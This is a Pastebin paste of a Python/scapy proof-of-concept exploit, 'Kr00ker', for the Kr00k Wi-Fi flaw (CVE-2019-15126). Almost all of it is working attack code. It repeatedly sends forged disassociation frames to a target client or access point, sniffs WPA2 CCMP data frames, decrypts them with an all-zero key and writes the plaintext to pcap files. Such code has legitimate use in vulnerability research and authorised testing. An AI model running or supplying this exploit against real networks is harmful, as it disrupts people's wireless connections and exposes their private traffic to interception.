UndercodeTesting

2020 full wifi exploit

Aug 8th, 2020
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.73 KB | None | 0 0
  1. # Kr00ker
  2. #
  3. # Experimetal KR00K PoC in python3 using scapy
  4. #
  5. # Description:
  6. # This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126),
  7. # that allows to decrypt some WPA2 CCMP data in vulnerable devices.
  8. # More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:
  9. # * the TK (128 bites all zero)
  10. # * the Nonce (sent plaintext in packet header)
  11. # * the Encrypted Data
  12. #
  13. # Where:
  14. # * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data
  15. # * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00"
  16. # * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)
  17. #
  18. # This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.
  19. #
  20. # References:
  21. # https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf
  22. #
  23. #
  24. # Copyright (C) 2020 Maurizio Siddu
  25. #
  26. #
  27. # This program is free software: you can redistribute it and/or modify
  28. # it under the terms of the GNU General Public License as published by
  29. # the Free Software Foundation, either version 3 of the License, or
  30. # (at your option) any later version.
  31. #
  32. # This program is distributed in the hope that it will be useful,
  33. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  34. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  35. # GNU General Public License for more details.
  36. #
  37. # You should have received a copy of the GNU General Public License
  38. # along with this program. If not, see <http://www.gnu.org/licenses/>
  39.  
  40.  
  41.  
  42.  
  43.  
  44. import argparse, threading
  45. import datetime, sys, re
  46. from scapy.all import *
  47. from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
  48. from Cryptodome.Cipher import AES
  49.  
  50.  
  51.  
  52. # Proof of Sympathy ;-)
  53. LOGO = """\
  54. __ _ ____ __ __ __ _ ____ ____
  55. ( / )( _ \ / \ / \( / )( __)( _ \\
  56. ) ( ) /( 0 )( 0 )) ( ) _) ) /
  57. (__\_)(__\_) \__/ \__/(__\_)(____)(__\_)
  58. """
  59.  
  60.  
  61. KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00'
  62.  
  63.  
  64. class Krooker:
  65. # Define Krooker class
  66. def __init__(self, interface, target_mac, other_mac, reason, num, delay):
  67. self.interface = interface
  68. self.target_mac = target_mac
  69. self.other_mac = other_mac
  70. self.reason = reason
  71. self.num = num
  72. self.delay = delay
  73.  
  74.  
  75. def wpa2_decrypt(self, enc_pkt):
  76. # Try to decrypt the data contained in the sniffed packet
  77. t_key = bytes.fromhex("00000000000000000000000000000000")
  78. # This check is redundant
  79. if not enc_pkt.haslayer(Dot11CCMP):
  80. return None
  81. dot11 = enc_pkt[Dot11]
  82. dot11ccmp = enc_pkt[Dot11CCMP]
  83.  
  84. # Extract the Packet Number (IV)
  85. PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)
  86. # Extract the victim MAC address
  87. source_addr = re.sub(':','',dot11.addr2)
  88. # Extract the QoS tid
  89. if enc_pkt.haslayer(Dot11QoS):
  90. tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)
  91. else:
  92. tid = '0'
  93. priority = tid + '0'
  94. # Build the nonce
  95. ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)
  96.  
  97. # Finally try to decrypt wpa2 data
  98. enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8)
  99. decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8])
  100. return decrypted_data
  101.  
  102.  
  103.  
  104. def disassociate(self):
  105. # Forge the dot11 disassociation packet
  106. dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)
  107. # Loop to send the disassociation packets to the victim device
  108. while True:
  109. # Repeat every delay value seconds
  110. time.sleep(self.delay)
  111. print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)
  112. sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)
  113.  
  114.  
  115.  
  116. def check_packet(self, sniffed_pkt):
  117. # Filter for WPA2 AES CCMP packets containing data to decrypt
  118. if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):
  119. #print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype))
  120. # Decrypt the packets using the all zero temporary key
  121. dec_data = self.wpa2_decrypt(sniffed_pkt)
  122. # Check if the target is vulnerable
  123. if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:
  124. print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")
  125. hexdump(dec_data)
  126. # Save the encrypted and decrypted packets
  127. print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder")
  128. dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]
  129. wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)
  130. wrpcap("dec_pkts.pcap", dec_pkt, append=True)
  131. # Uncomment this if you need a one-shoot PoC decryption
  132. #sys.exit(0)
  133. #else:
  134. #print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong")
  135. #pass
  136.  
  137.  
  138.  
  139. def run_disassociation(self):
  140. # Run disassociate function in a background thread
  141. try:
  142. self.disassociate()
  143. except KeyboardInterrupt:
  144. print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
  145. return
  146.  
  147.  
  148.  
  149.  
  150.  
  151. def main():
  152. # Passing arguments
  153. parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")
  154. parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)
  155. parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)
  156. parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)
  157. parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)
  158. parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)
  159. parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")
  160. parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")
  161. parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")
  162. args = parser.parse_args()
  163.  
  164. # Print the kr00ker logo
  165. print(LOGO)
  166.  
  167. # Start the fun!!
  168. try:
  169. interface = args.interface
  170. ap_mac = args.bssid.lower()
  171. client_mac = args.client.lower()
  172. reason = args.reason
  173. target_channel = args.wifi_channel
  174. n_pkts = args.number
  175. delay = args.delay
  176.  
  177. # Set the selected channel
  178. if target_channel in range(1, 14):
  179. os.system("iwconfig " + interface + " channel " + str(target_channel))
  180. else:
  181. print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid")
  182. exit(1)
  183.  
  184. # Check if valid device MAC Addresses have been specified
  185. if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":
  186. print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")
  187. exit(1)
  188.  
  189. # Check if a valid reason have been specified
  190. if reason not in range(1,99):
  191. print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))
  192. exit(1)
  193.  
  194. # Set the MAC address of the target
  195. if args.target == "client":
  196. target_mac = client_mac
  197. other_mac = ap_mac
  198. print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target")
  199. else:
  200. target_mac = ap_mac
  201. other_mac = client_mac
  202. print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target")
  203.  
  204. # Krooker instance initialization
  205. krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)
  206.  
  207. # Start a background thread to send disassociation packets
  208. k_th = threading.Thread(target=krooker.run_disassociation)
  209. k_th.daemon = True # This does not seem to be useful
  210. k_th.start()
  211.  
  212. # Start packet interception
  213. s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"
  214. sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)
  215.  
  216. except KeyboardInterrupt:
  217. print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
  218. k_th.join()
  219. sys.exit(0)
  220.  
  221. except scapy.error.Scapy_Exception:
  222. print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode")
  223. sys.exit(1)
  224.  
  225.  
  226.  
  227. if __name__ == "__main__":
  228. main()
  229.  
Advertisement
Add Comment
Please, Sign In to add comment